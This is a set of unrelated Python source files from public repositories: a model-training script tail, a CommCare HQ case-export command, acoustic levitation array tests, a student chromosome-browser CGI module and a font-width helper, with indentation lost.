test_dataset = json.load(open(args.test_dataset, 'r'))
test(test_dataset, source_vocab, target_vocab, source_vocab_list, target_vocab_list)
else:
validation_dataset = json.load(open(args.validation_dataset, 'r'))
# print("Val data %s" % validation_dataset)
train(training_dataset, validation_dataset, source_vocab, target_vocab, source_vocab_list, target_vocab_list, args.no_train)
main()
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custom/icds/management/commands/export_orphaned_cases.py | rochakchauhan/commcare-hq | 1 | 82166 | import csv
from django.core.management import BaseCommand
from corehq.apps.es import CaseES, filters
from corehq.apps.locations.models import SQLLocation
from dimagi.utils.chunked import chunked
from corehq.util.log import with_progress_bar
CHILD_PROPERTIES = ['case_id', 'owner_id', 'opened_on', 'modified_on',
'name', 'aadhar_number', 'dob', 'died']
SOURCE_FIELDS = CHILD_PROPERTIES + ['indices']
CSV_HEADERS = CHILD_PROPERTIES + ['owner_name', 'hh_id', 'hh_name', 'hh_closed_on']
class Command(BaseCommand):
def add_arguments(self, parser):
parser.add_argument(
'child_file',
help="File path child case output file",
)
def handle(self, child_file, **options):
relevant_districts = SQLLocation.objects.filter(domain='icds-cas',
location_id__in=['d982a6fb4cca0824fbde59db18d2d422',
'0ffe4a1f110ffc17bb9b749abdfd697c'])
owners = SQLLocation.objects.get_queryset_descendants(relevant_districts, include_self=True)
owner_name_mapping = {loc.location_id: loc.name for loc in owners}
hh_cases = self._get_closed_hh_cases(list(owner_name_mapping))
with open(child_file, 'w', encoding='utf-8') as child_csv:
child_writer = csv.writer(child_csv)
child_writer.writerow(CSV_HEADERS)
for cases in chunked(with_progress_bar(hh_cases, hh_cases.count), 500):
household_ids = []
hh_map = {}
for hh in cases:
hh_map[hh['case_id']] = (hh['name'].encode('utf-8'), hh.get('closed_on', '').encode('utf-8'))
household_ids.append(hh['case_id'])
child_cases = self._get_child_cases(household_ids)
ids = set(household_ids)
for child in child_cases.hits:
parent_index = filter(
lambda index: index['referenced_id'] in ids and index['identifier'] == 'parent',
child['indices']
)[0]
if parent_index:
hh_id = parent_index['referenced_id']
row = [child.get(prop, '').encode('utf-8') for prop in CHILD_PROPERTIES]
row.append(owner_name_mapping.get(child.get('owner_id', ''), '').encode('utf-8'))
hh_info = (hh_id, hh_map[hh_id][0], hh_map[hh_id][1])
row.extend(hh_info)
child_writer.writerow(row)
def _get_closed_hh_cases(self, owners):
query = (CaseES(es_instance_alias='export')
.is_closed()
.domain('icds-cas')
.case_type('household')
.owner(owners)
.source(['case_id', 'closed_on', 'name'])
.size(100)
)
return query.scroll()
def _get_child_cases(self, household_ids):
query = (CaseES(es_instance_alias='export')
.domain('icds-cas')
.case_type('person')
.is_closed(False)
.source(SOURCE_FIELDS)
.filter(filters.term("indices.referenced_id", household_ids))
)
return query.run()
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tests/test_arrays.py | AppliedAcousticsChalmers/levitate | 11 | 60880 | <filename>tests/test_arrays.py
import levitate.arrays
import levitate.hardware
import numpy as np
import pytest
# Tests created with these air properties
from levitate.materials import air
air.c = 343
air.rho = 1.2
# Tests were mostly written before the layout was transposed,
# so a lot of the "expected" positions etc are transposed in the test hardcoding.
def test_rectangular_grid():
# positions, normals = levitate.arrays.rectangular_grid(shape=(5, 3), spread=10e-3)
array = levitate.arrays.RectangularArray(shape=(5, 3), transducer_size=10e-3)
expected_positions = np.array([
[-0.02, -0.01, 0.],
[-0.01, -0.01, 0.],
[0. , -0.01, 0.],
[ 0.01, -0.01, 0.],
[ 0.02, -0.01, 0.],
[-0.02, 0. , 0.],
[-0.01, 0. , 0.],
[ 0. , 0. , 0.],
[ 0.01, 0. , 0.],
[ 0.02, 0. , 0.],
[-0.02, 0.01, 0.],
[-0.01, 0.01, 0.],
[ 0. , 0.01, 0.],
[ 0.01, 0.01, 0.],
[ 0.02, 0.01, 0.]]).T
expected_normals = np.array([
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.]]).T
np.testing.assert_allclose(array.positions, expected_positions)
np.testing.assert_allclose(array.normals, expected_normals)
@pytest.mark.parametrize('rectangular_class, shape, spread', [
(levitate.hardware.DragonflyArray, (16, 16), 10.47e-3),
(levitate.hardware.AcoustophoreticBoard, (16, 16), 10.47e-3),
])
def test_rectangular_variants(rectangular_class, shape, spread):
# Check that we do place all the indices.
all_indices = np.sort(rectangular_class.grid_indices.flatten())
np.testing.assert_equal(all_indices, list(range(np.prod(shape))))
array = rectangular_class()
# Test that every element is where it should be
for idx, (x, y, _) in enumerate(zip(*array.positions)):
y_idx, x_idx = np.argwhere(array.grid_indices == idx)[0]
np.testing.assert_allclose(x / array.spread + 7.5, x_idx)
np.testing.assert_allclose(7.5 - y / array.spread, y_idx)
# Test that this is indeed a 16x16 rectangular array with spread 10.47 mm
rectangular = levitate.arrays.RectangularArray(shape=shape, spread=spread)
differences = rectangular.positions[:, :, None] - array.positions[:, None, :]
distances = np.sum(differences**2, axis=0)
assert all([(np.min(distances, axis=axis) == 0).all() for axis in range(distances.ndim)])
def test_array_offset():
array = levitate.arrays.RectangularArray(shape=(4, 2), offset=(0.1, -0.2, 1.4))
expected_positions = np.array([
[0.085, -0.205, 1.4],
[0.095, -0.205, 1.4],
[0.105, -0.205, 1.4],
[0.115, -0.205, 1.4],
[0.085, -0.195, 1.4],
[0.095, -0.195, 1.4],
[0.105, -0.195, 1.4],
[0.115, -0.195, 1.4]]).T
expected_normals = np.array([
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.],
[0., 0., 1.]]).T
np.testing.assert_allclose(array.positions, expected_positions)
np.testing.assert_allclose(array.normals, expected_normals)
@pytest.mark.parametrize('offset', [(0., 0., 0.), (1.85194e-3, 28.2839e-3, 35.2830e-3)])
@pytest.mark.parametrize('radius', [0.4, 0.05])
@pytest.mark.parametrize('rings', [4, 15])
@pytest.mark.parametrize('normal', [(0., 0., 1.), (-2., 5., 4.37)])
@pytest.mark.parametrize('packing', ['distance', 'count'])
@pytest.mark.parametrize('spread', [10e-3, 5e-3])
def test_spherical_cap(radius, rings, normal, offset, packing, spread):
normal, offset = np.asarray(normal), np.asarray(offset)
array = levitate.arrays.SphericalCapArray(radius=radius, rings=rings, spread=spread, packing=packing, normal=normal, offset=offset)
focus = normal / np.sum(normal**2)**0.5 * radius + offset
diff = focus[:, None] - array.positions
dist = np.sum(diff**2, 0)**0.5
np.testing.assert_allclose(dist, radius)
np.testing.assert_allclose(np.sum(diff * array.normals, 0) / dist, 1.)
array = levitate.arrays.DoublesidedArray(
levitate.arrays.SphericalCapArray(
radius=radius, rings=rings, spread=spread, packing=packing, normal=normal
),
separation=radius * 2, normal=normal, offset=offset
)
diff = offset[:, None] - array.positions
dist = np.sum(diff**2, 0)**0.5
np.testing.assert_allclose(dist, radius)
np.testing.assert_allclose(np.sum(diff * array.normals, 0) / dist, 1.)
def test_array_normal():
array = levitate.arrays.RectangularArray(shape=(4, 2), normal=(2, 3, 4))
expected_positions = np.array([
[-1.321925551875e-02, -2.328883278124e-03, +8.356290217967e-03],
[-4.010697510416e-03, -3.516046265624e-03, +4.642383454426e-03],
[+5.197860497917e-03, -4.703209253125e-03, +9.284766908853e-04],
[+1.440641850625e-02, -5.890372240625e-03, -2.785430072656e-03],
[-1.440641850625e-02, +5.890372240625e-03, +2.785430072656e-03],
[-5.197860497917e-03, +4.703209253125e-03, -9.284766908853e-04],
[+4.010697510416e-03, +3.516046265624e-03, -4.642383454426e-03],
[+1.321925551875e-02, +2.328883278124e-03, -8.356290217967e-03]]).T
expected_normals = np.array([
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01],
[+3.713906763541e-01, +5.570860145312e-01, +7.427813527082e-01]]).T
np.testing.assert_allclose(array.positions, expected_positions)
np.testing.assert_allclose(array.normals, expected_normals)
def test_array_rotation():
array = levitate.arrays.RectangularArray(shape=(4, 2), rotation=1, normal=(-1, 4, -2))
expected_positions = np.array([
[-8.747019947780e-03, +4.075784833732e-03, +1.252507964135e-02],
[-9.564871486238e-04, +2.940455719910e-03, +6.359155014132e-03],
[+6.834045650533e-03, +1.805126606089e-03, +1.932303869110e-04],
[+1.462457844969e-02, +6.697974922671e-04, -5.972694240310e-03],
[-1.462457844969e-02, -6.697974922671e-04, +5.972694240310e-03],
[-6.834045650533e-03, -1.805126606089e-03, -1.932303869110e-04],
[+9.564871486238e-04, -2.940455719910e-03, -6.359155014132e-03],
[+8.747019947780e-03, -4.075784833732e-03, -1.252507964135e-02]]).T
expected_normals = np.array([
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01],
[-2.182178902360e-01, +8.728715609440e-01, -4.364357804720e-01]]).T
np.testing.assert_allclose(array.positions, expected_positions)
np.testing.assert_allclose(array.normals, expected_normals)
def test_double_sided_grid():
array = levitate.arrays.DoublesidedArray(levitate.arrays.RectangularArray, separation=0.5, shape=(2, 2), spread=5e-3, offset=(0.1, -0.2, 1.4), normal=(0.2, -1.4, 2), rotation=1)
expected_positions = np.array([
[+8.02489979e-02, -5.99269663e-02, +1.19384001e+00],
[+8.30486836e-02, -5.64068310e-02, +1.19602413e+00],
[+7.61264873e-02, -5.78193656e-02, +1.19572758e+00],
[+7.89261731e-02, -5.42992303e-02, +1.19791170e+00],
[+1.21073827e-01, -3.45700770e-01, +1.60208830e+00],
[+1.23873513e-01, -3.42180634e-01, +1.60427242e+00],
[+1.16951316e-01, -3.43593169e-01, +1.60397587e+00],
[+1.19751002e-01, -3.40073034e-01, +1.60615999e+00]]).T
expected_normals = np.array([
[+8.16496581e-02, -5.71547607e-01, +8.16496581e-01],
[+8.16496581e-02, -5.71547607e-01, +8.16496581e-01],
[+8.16496581e-02, -5.71547607e-01, +8.16496581e-01],
[+8.16496581e-02, -5.71547607e-01, +8.16496581e-01],
[-8.16496581e-02, +5.71547607e-01, -8.16496581e-01],
[-8.16496581e-02, +5.71547607e-01, -8.16496581e-01],
[-8.16496581e-02, +5.71547607e-01, -8.16496581e-01],
[-8.16496581e-02, +5.71547607e-01, -8.16496581e-01]]).T
np.testing.assert_allclose(array.positions, expected_positions)
np.testing.assert_allclose(array.normals, expected_normals)
expected_signature = np.array([0, 0, 0, 0, np.pi, np.pi, np.pi, np.pi])
np.testing.assert_allclose(array.signature(stype='doublesided'), expected_signature)
def test_Array_basics():
pos, norm = np.random.normal(size=(2, 3, 8))
array = levitate.arrays.TransducerArray(pos, norm)
array.omega = 200000
np.testing.assert_allclose(2 * np.pi * array.freq, array.omega)
array.k = 730
np.testing.assert_allclose(2 * np.pi / array.k, array.wavelength)
array.wavelength = 8.5e-3
np.testing.assert_allclose(air.c, array.wavelength * array.freq)
array.freq = 41e3
np.testing.assert_allclose(array.transducer.freq, 41e3)
from levitate.transducers import PlaneWaveTransducer
array = levitate.arrays.RectangularArray(shape=(4, 4), transducer=PlaneWaveTransducer)
pos = np.array([7e-3, -3e-3, 70e-3])
np.testing.assert_allclose(array.focus_phases(pos), np.array([+2.069588782645e+00, -2.511641902621e+00, -1.794667262208e+00, -2.103144086214e+00, +2.763870843565e+00, -1.794667262208e+00, -1.067679552580e+00, -1.380498791671e+00, +2.465230031099e+00, -2.103144086214e+00, -1.380498791671e+00, -1.691434660688e+00, +1.189733359830e+00, +2.863786956082e+00, -2.714709695304e+00, -3.017860322253e+00]))
np.testing.assert_allclose(array.signature(pos, stype='twin'), np.array([-1.570796326795e+00, -1.570796326795e+00, +1.570796326795e+00, +1.570796326795e+00, -1.570796326795e+00, -1.570796326795e+00, -1.570796326795e+00, +1.570796326795e+00, -1.570796326795e+00, -1.570796326795e+00, -1.570796326795e+00, +1.570796326795e+00, -1.570796326795e+00, -1.570796326795e+00, -1.570796326795e+00, +1.570796326795e+00]))
np.testing.assert_allclose(array.signature(pos, stype='vortex'), np.array([-2.642245931910e+00, -2.356194490192e+00, -1.735945004210e+00, -9.827937232473e-01, -3.050932766389e+00, -2.976443976175e+00, -2.356194490192e+00, -2.449786631269e-01, +2.792821650006e+00, +2.553590050042e+00, +1.815774989922e+00, +7.853981633974e-01, +2.455863142684e+00, +2.158798930342e+00, +1.681453547969e+00, +1.152571997216e+00]))
np.testing.assert_allclose(array.signature(pos, stype='bottle'), np.array([+3.141592653590e+00, +3.141592653590e+00, +0.000000000000e+00, +0.000000000000e+00, +3.141592653590e+00, +0.000000000000e+00, +0.000000000000e+00, +0.000000000000e+00, +3.141592653590e+00, +0.000000000000e+00, +0.000000000000e+00, +0.000000000000e+00, +3.141592653590e+00, +3.141592653590e+00, +3.141592653590e+00, +3.141592653590e+00]))
pos = np.array([0.1, -0.2, 0.3])
np.testing.assert_allclose(array.focus_phases(pos), np.array([-1.4782875, 0.70451472, 2.70433793, -1.76613547, 1.07535199, -3.05482743, -1.08272084, 0.70451472, -2.79668059, -0.67375749, 1.27038374, 3.03192953, -0.52217161, 1.57048339, -2.79668059, -1.0609514]))
np.testing.assert_allclose(array.signature(pos, stype='twin'), np.array([-1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633, -1.57079633]))
np.testing.assert_allclose(array.signature(stype='vortex'), np.array([-2.35619449, -1.89254688, -1.24904577, -0.78539816, -2.8198421, -2.35619449, -0.78539816, -0.32175055, 2.8198421, 2.35619449, 0.78539816, 0.32175055, 2.35619449, 1.89254688, 1.24904577, 0.78539816]))
np.testing.assert_allclose(array.signature(stype='bottle'), np.array([3.14159265, 0., 0., 3.14159265, 0., 0., 0., 0., 0., 0., 0., 0., 3.14159265, 0., 0., 3.14159265]))
def test_Array_visualizer():
array = levitate.arrays.RectangularArray(shape=2)
array.visualize()
pos = np.array([0, 0, 0.05])
signature = array.signature(angle=np.pi, stype='twin')
phase = array.focus_phases(pos) + signature
amps = levitate.utils.complex(phase)
from levitate.utils import find_trap
trap_pos = find_trap(array, pos, amps)
np.testing.assert_allclose(pos, trap_pos, atol=0.1e-3)
np.testing.assert_allclose(signature, array.signature(pos, phase))
def test_Array_calculations():
array = levitate.arrays.RectangularArray(shape=2)
pos = np.array([0.1, -0.2, 0.3])
expected_result = np.array([
[-1.60298320e+01+1.39433272e+00j, 7.60005836e+00+1.43149212e+01j, 1.23972894e+01+9.89785204e+00j, 4.72749101e+00-1.52603890e+01j],
[-2.75579656e+02-3.30839037e+03j, -2.69691942e+03+1.41912500e+03j, -2.02250900e+03+2.51457673e+03j, 2.82526527e+03+8.86498882e+02j],
[ 5.11790789e+02+6.14415354e+03j, 5.53578197e+03-2.91294080e+03j, 3.94870805e+03-4.90941170e+03j, -6.09662505e+03-1.91297127e+03j],
[-7.87370445e+02-9.45254391e+03j, -8.51658764e+03+4.48144738e+03j, -5.77859714e+03+7.18450493e+03j, 8.92189032e+03+2.79947015e+03j],
[ 6.80382495e+05-8.33698641e+04j, -2.91485806e+05-4.94127262e+05j, -5.27798435e+05-3.91154134e+05j, -1.38372830e+05+5.31781607e+05j],
[ 2.35305285e+06-2.10377336e+05j, -1.13689503e+06-2.12990534e+06j, -1.95769683e+06-1.55833572e+06j, -7.53077687e+05+2.44212524e+06j],
[ 5.57294329e+06-4.54866720e+05j, -2.65207242e+06-5.06161450e+06j, -4.17057990e+06-3.36464336e+06j, -1.64672816e+06+5.21935967e+06j],
[-1.26844169e+06+9.63139996e+04j, 5.40041580e+05+1.04492376e+06j, 9.92856867e+05+8.10438183e+05j, 3.62769003e+05-1.12739219e+06j],
[ 1.95144875e+06-1.48175384e+05j, -8.30833200e+05-1.60757501e+06j, -1.45296127e+06-1.18600710e+06j, -5.30881467e+05+1.64984223e+06j],
[-3.62411911e+06+2.75182856e+05j, 1.70539446e+06+3.29975923e+06j, 2.83673391e+06+2.31553766e+06j, 1.14558632e+06-3.56018587e+06j],
[ 2.86670148e+07+1.39550752e+08j, 8.79550534e+07-6.44855683e+07j, 7.10265677e+07-1.14387829e+08j, -1.01799225e+08-1.57149418e+07j],
[-9.48653965e+07-9.00596323e+08j, -8.15465047e+08+4.51662413e+08j, -6.08347649e+08+7.86174017e+08j, 9.81016375e+08+2.88086328e+08j],
[ 2.69225703e+08+3.28515432e+09j, 3.00523878e+09-1.57526192e+09j, 1.95396625e+09-2.42520390e+09j, -3.05538963e+09-9.62345944e+08j],
[-2.90779477e+07-2.61000235e+08j, -1.91908617e+08+1.10366719e+08j, -1.57582477e+08+2.07891701e+08j, 2.12034769e+08+5.76457627e+07j],
[ 4.47353042e+07+4.01538824e+08j, 2.95244026e+08-1.69794952e+08j, 2.30608503e+08-3.04231758e+08j, -3.10294784e+08-8.43596528e+07j],
[ 3.80717090e+07+4.85924318e+08j, 4.02816731e+08-2.09323496e+08j, 3.21279107e+08-3.94767783e+08j, -4.51078135e+08-1.44502368e+08j],
[ 1.08776311e+08+1.38835519e+09j, 1.27205284e+09-6.61021567e+08j, 9.17940305e+08-1.12790795e+09j, -1.42445727e+09-4.56323268e+08j],
[ 8.12193376e+07+1.15079185e+09j, 9.57197835e+08-4.88115774e+08j, 6.93574595e+08-8.40914649e+08j, -9.64000841e+08-3.15741830e+08j],
[-1.50835913e+08-2.13718486e+09j, -1.96477450e+09+1.00192185e+09j, -1.35412183e+09+1.64178574e+09j, 2.08021234e+09+6.81337634e+08j],
[-4.85644305e+07-7.48335747e+08j, -6.23978731e+08+3.13792174e+08j, -4.77252163e+08+5.71923550e+08j, 6.57524678e+08+2.19514891e+08j]])
np.testing.assert_allclose(array.pressure_derivs(pos), expected_result)
expected_result = np.array([
[-5.682427477075e+01 + 4.942780801222e+00j, +2.694150540810e+01 + 5.074507426259e+01j, +4.394724655282e+01 + 3.508697193457e+01j, +1.675851928357e+01 - 5.409667034377e+01j],
[-3.803836147518e+01 - 1.657048080374e+01j, +1.279975203258e+00 + 4.120938631452e+01j, +1.710554711045e+01 + 3.829641433944e+01j, +2.807511601090e+01 - 3.087116808379e+01j],
[-6.597796686300e+00 - 7.920790438223e+01j, -7.136502785396e+01 + 3.755243658313e+01j, -4.842194588566e+01 + 6.020279674447e+01j, +7.476127507154e+01 + 2.345825276365e+01j],
[-3.477261873074e+01 + 2.263543161484e+01j, +3.323968212216e+01 + 2.439211736111e+01j, +4.107318751625e+01 + 8.497550262354e+00j, -5.405546885483e+00 - 4.137657816630e+01j],
[-1.686407000850e+01 - 2.178756862198e+01j, -1.125090492261e+01 + 2.455396689049e+01j, -1.726622397846e+00 + 2.850517035519e+01j, +2.594291002246e+01 - 1.071176900518e+01j],
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[-2.707354746999e+00 - 1.746661744378e+01j, -1.332639233207e+01 + 1.070479817804e+01j, -9.733075343865e+00 + 1.606625396807e+01j, +1.821285983077e+01 + 9.712939338454e-01j],
[+4.676829722253e+01 - 3.538544878575e+01j, -5.237549857426e+01 - 2.470351811875e+01j, -5.977893107220e+01 - 4.270891236968e+00j, +2.203974234614e+01 + 5.507262673066e+01j],
[+7.892432023664e+01 + 3.611381986030e+01j, -1.111183761150e+00 - 8.806141599513e+01j, -3.294243372319e+01 - 7.747677728413e+01j, -5.866451648153e+01 + 6.219821126638e+01j],
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[+7.359464973840e+01 - 4.601177935703e+01j, -7.002975115181e+01 - 5.340301180676e+01j, -8.212235075402e+01 - 1.854115596653e+01j, +9.533619685308e+00 + 8.496618783049e+01j],
[-5.094954128769e+01 - 2.904389528692e+01j, -1.140045085313e+01 + 5.677575520142e+01j, +1.490296577659e+01 + 5.804879605259e+01j, +5.070404281442e+01 - 3.078708333006e+01j],
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np.testing.assert_allclose(array.spherical_harmonics(pos, orders=3), expected_result)
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cgi-bin/front_module.py | Jesr2104/Chromosome-browser | 1 | 177497 | #!/usr/bin/env python3
"""
###################
last changes
edidted the data processing.py
duplicate_processing funciton
added the product id to 'query' dict
###################
"""
"""
Program: front_module
File: front_module.py
Version: V1.0
Date: 10.05.18
Function: creates and recives data from html pages.
Copyright: (c) <NAME>, Birkbeck Bioinformatics student, 2018
Author: <NAME>
Address: 2018 Bioinformatics Course 1st year ,University of Birkbeck, London
--------------------------------------------------------------------------
Revision History:
=================
V1.0 10.05.18 Original By: ORS (<NAME>)
v2.0 13.05.18 By: ORS
Changelog
v2.0 - Changed preset to pre_set thoughtout program
"""
#************************************************************************
# Import libraries
#import collections
import cgitb,cgi,codecs,unittest,tempfile
cgitb.enable()
from middle_output_preliminar import middle_to_db
from ors_modules.data_processing_ors import gene_protein_accession_processing, location_processing, duplicate_processing, determine_type_of_middle_output
# for use in testsing, REMOVE BEFORE HAND IN
from ors_modules.dummy_data_ors import type012_dummy_data, type3_dummy_data, type4_dummy_data, type5_dummy_data
#************************************************************************
"""
#*************************************************************************
def print_page(result,results):
inserts the html output into a string of the html file for presenting
Input: file --- a html file
results --- a string
Return: None --- Prints a webpage
10.05.18 Original By: ORS
"""
def print_page(file, results):
print("Content-Type: text/html\n")
f=codecs.open(file, 'r')
page = f.read()
# outputs results which are embedded within the selected html
str_results = str(results)
print(page.format(output = str_results))
"""
#*************************************************************************
def print_tempate(result):
selects which html template to embed the output data into
Input: results --- a string
Return: None --- Prints a webpage
10.05.18 Original By: ORS
"""
def print_template(results):
# html page that acts as a wrapper around results
file ="template.html"
print_page(file,results)
"""
#*************************************************************************
def data_processing(data):
processes the data from web page forms into one form of output
Input: data --- a dictionary containing cgi data
Return: contents --- a dictionary containing processed data
10.05.18 Original By: ORS
"""
""" The purpose of data_processing is to take the dictionary from
cgifeildstorage to dict and to check that both the keys and values are present.
It then checks the name of the dictionary and creates a dictionary with type,
pre_set, name and enzyme.
it also turns the key:valuse 'gene':'gene1' into 'type':1,'name':'gene1
which is neccisary to fit our api"""
def data_processing(data): # directs the output from forms in homepage.html
# assigns variables to values type,pre_set,name, enzyme from form
# form.getvalue("name") stores a dictionary containing the type and name
if "name" in data:
query_name = data["name"]
if 'type' in data:
query_type = data["type"]
query_type = int(query_type)
# changes the data type from a string "int" to an int
# elif "type" in data:
# query_type = data["type"]
# if type(query_type) == str:
# query_type = int(query_type)
# changes the pre_set form types from their names to the number based api 0,1,2,3
elif "gene" in data:
query_name = data["gene"]
query_type = 0
elif "protein" in data:
query_name = data["protein"]
query_type = 1
elif "acession" in data:
query_name = data["acession"]
query_type = 2
elif "location" in data:
query_name = data["location"]
query_type = 3
# This creates empy values if none are found
else:
query_name =""
query_type =""
if "pre_set" in data:
query_pre_set =data["pre_set"]
else:
query_pre_set = False
if "enzyme" in data:
query_enzyme =data["enzyme"]
else:
query_enzyme = ""
# final format for the front to middle API
contents = {"type":query_type,"pre_set": query_pre_set,"name" : query_name,"enzyme": query_enzyme}
######################################################################
#### Change return(query_example) to return( contents)
####################################################################
return contents
"""
#*************************************************************************
def cgi_field_storage_to_dict(fieldStorage ):
processes the data from web page forms into one form of output
Input: data --- a dictionary containing cgi data
Return: contents --- a dictionary containing processed data
10.05.18 Original By: ORS
"""
""" The purpose of this function is to check the output from the middle layer
and check if there is a type = 4. A type 4 indicating that the name or protein
has multiple entires in the database. This will determine where a normal results
screen or a 'select_duplicate' is created """
def cgi_field_storage_to_dict( fieldStorage ):
#Get a plain dictionary, rather than the '.value' system used by the cgi module
params = {}
for key in fieldStorage.keys():
params[ key ] = fieldStorage[ key ].value
return params
"""
###########################################
def create_codon_table(codon_list):
takes the nested lists that makes up the
Input: data --- nested dictionaries/lists containing proccessed data
Return: final_str --- a string to be inserted into a HTML template to generate webpage
10.05.18 Original By: ORS
"""
def create_codon_table(codon_lists):
dna_list = codon_lists
inner_table = ""
inner_table += "<table>"
inner_table += "<tr>"
# inputs the headers for each column
inner_table += "<th>Codon</th><th>%</th><th>Ratio</th><th>Amino acid</th>"
inner_table += "<th>Codon</th><th>%</th><th>Ratio</th><th>Amino acid</th>"
inner_table += "<th>Codon</th><th>%</th><th>Ratio</th><th>Amino acid</th>"
inner_table += "<th>Codon</th><th>%</th><th>Ratio</th><th>Amino acid</th>"
inner_table+="</tr>"
for i in dna_list:
inner_table = inner_table + "<tr>"
for key in dna_list[i]:
the_data = dna_list[i][key]
inner_table = inner_table + "<td>" + key +"</td>"
for j in the_data:
inner_table = inner_table + "<td>" + str(j) +"</td>"
inner_table = inner_table + "</tr>"
inner_table += "</table>"
return inner_table
"""
#***************************************************************
def print_formating(processed_middle_data):
processes the input to be presented on a html page in a ordered manner
Input: data --- nested dictionaries/lists containing proccessed data
Return: final_str --- a string to be inserted into a HTML template to generate webpage
10.05.18 Original By: ORS
as the data set i got back from the middle level is not properly formated i cant print it to web page.
This is an example of the correctly formated data as dummy data
"""
def print_formating(processed_middle_data):
data = processed_middle_data
final_str = ""
# if it is a type 5 which is just a dict
if "type" in data:
if data["type"] == 5:
final_str = final_str + "This return type means that no entry was found in our database. This may be because of an error in the genbank file, please try again <br>"
for x in data:
final_str = final_str + x + " : " +str(data[x]) +"<br>"
return final_str
# checks for a nested dict key value 'additional_data. indicates type 4 data
elif any( 'additional_data' in d for d in data):
final_str += final_str + "This return type means that duplicate entires were found, please select one <br> <br><br>"
for dicts in data:
temp_dict = str(dicts["additional_data"])
final_str += temp_dict + "<br><br>"
return final_str
elif'associated_genes' in data:
final_str += "This return type is for a Cromosomal location <br> Here accociated genes, proteins, protein IDs, Primary accesion numbers and Chromosomal Locations <br><br>"
final_str += data["searched_type"] + " " + data["searched_name"] +"<br>"
final_str += "associated genes :" + "<br>" + str(data["associated_genes"]) + "<br><br>"
final_str += "associated proteins :" + "<br>" + str(data["associated_protein"]) + "<br><br>"
final_str += "associated primary Accesion numbers :" + "<br>"+ str(data["associated_accession"]) + "<br><br>"
final_str += "associated cromosomal location :" + "<br>" + str(data["associated_location"]) + "<br><br>"
return final_str
# This is check if a nested key exists which is found only in type012 data
elif any( 'searched_name' in d for d in data):
final_str += "This return type is for a gene, protein or accesion number <br> Here is the relevent data <br><br>"
temp_dict = data[0]
for x in temp_dict:
final_str += x + " : " + temp_dict[x] + "<br><br>"
final_str += " This is the table for chromosomal codon usage<br>"
temp_dict = create_codon_table(data[1])
final_str += temp_dict + "<br><br>"
final_str += " This is the table for cds codon usage<br>"
temp_dict = create_codon_table(data[2])
final_str += temp_dict
return final_str
else:
return ("Nothing found")
# takes middle layer output and prints to html template
def front_to_middle():
# collects the form data from webpage
form_data = cgi_field_storage_to_dict(cgi.FieldStorage())
# organises form data in a uniform manner
processed_web_data = data_processing(form_data)
# invokes middle layer and passes form data
middle_query = middle_to_db(processed_web_data)
# determines types and processes data
processed_middle_data = determine_type_of_middle_output(middle_query)
# modifies data for printing to html page
formatted_data = print_formating(processed_middle_data)
#True ooutput
print_template(formatted_data)
front_to_middle()
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printer/src/cxi/cxifont.py | toringerhartCAMM/czi2tiff | 0 | 95879 | #!/usr/bin/env python
##
## /svn-src/printer/src/cxi/cxifont.py
##
import sys
DEBUG = 0
DEFAULT_BIT_SIZE=10
SPACE = " "
EOL = "\r\n"
default_bit_list = {
"A":21, "B":22.4, "C":23.8, "D":23.8, "E":21, "F":19.6, "G":25.2, "H":23.8,
"I":8.5, "J":16, "K":21, "L":18.2, "M":28, "N":23.8, "O":25.2, "P":21,
"Q":25.2, "R":23.8, "S":21, "T":19.6, "U":22, "V":21, "W":28, "X":21,
"Y":22.4, "Z":19.6, "1":10, "2":16.8, "3":16.8, "4":16.8, "5":16.8, "6":16.8,
"7":16.8, "8":16.8, "9":16.8, "9":16.8, "0":16.8, "a":16.8, "b":18, "c":16,
"d":18, "e":20, "f":9.5, "g":18, "h":18, "i":8.5, "j":8.5, "k":16, "l":8.5,
"m":20, "n":18, "o":16.8, "p":18, "q":18, "r":11, "s":16, "t":9.5, "u":18,
"v":16, "w":23.8, "x":16, "y":16, "z":16 }
#####################################################################
class cxiFont():
""" manage and process the printable size of any input string """
def __init__(self, file=""):
if file != "":
self.file=file
self.bit_list={}
try:
fptr=open(self.file,"r")
except:
if DEBUG:
print "Can not open %s to read!!" % self.file
raise
rawlist=fptr.readlines()
if DEBUG:
print "What is read.."
print rawlist
for i in rawlist:
a=i.split("=")
key=a[0].strip()
val=a[1].rstrip()
if val.isdigit():
self.bit_list[str(key)]=int(val)
else:
if DEBUG:
print "Could not fill in for %s" % key
fptr.close()
else:
self.bit_list=default_bit_list
if DEBUG:
print "Final bit list"
print self.bit_list
def __del__(self):
if DEBUG:
print "wrapping up cxiFont"
def getBits(self,key):
if self.bit_list.has_key(key):
return self.bit_list[str(key)]
return DEFAULT_BIT_SIZE
def calcBits(self,input):
sz=len(input)
if sz==0:
return 0
idx=0
total=0;
while(idx < sz) :
total += self.getBits(input[idx])
idx += 1
val=int(total)
if val<total:
val+=1
return val
def chopBits(self,input,limit):
sz=len(input)
if (sz==0 ) or (limit==0):
return 0, input
total=0
idx=0
sidx=0
while (idx < sz and total < limit) :
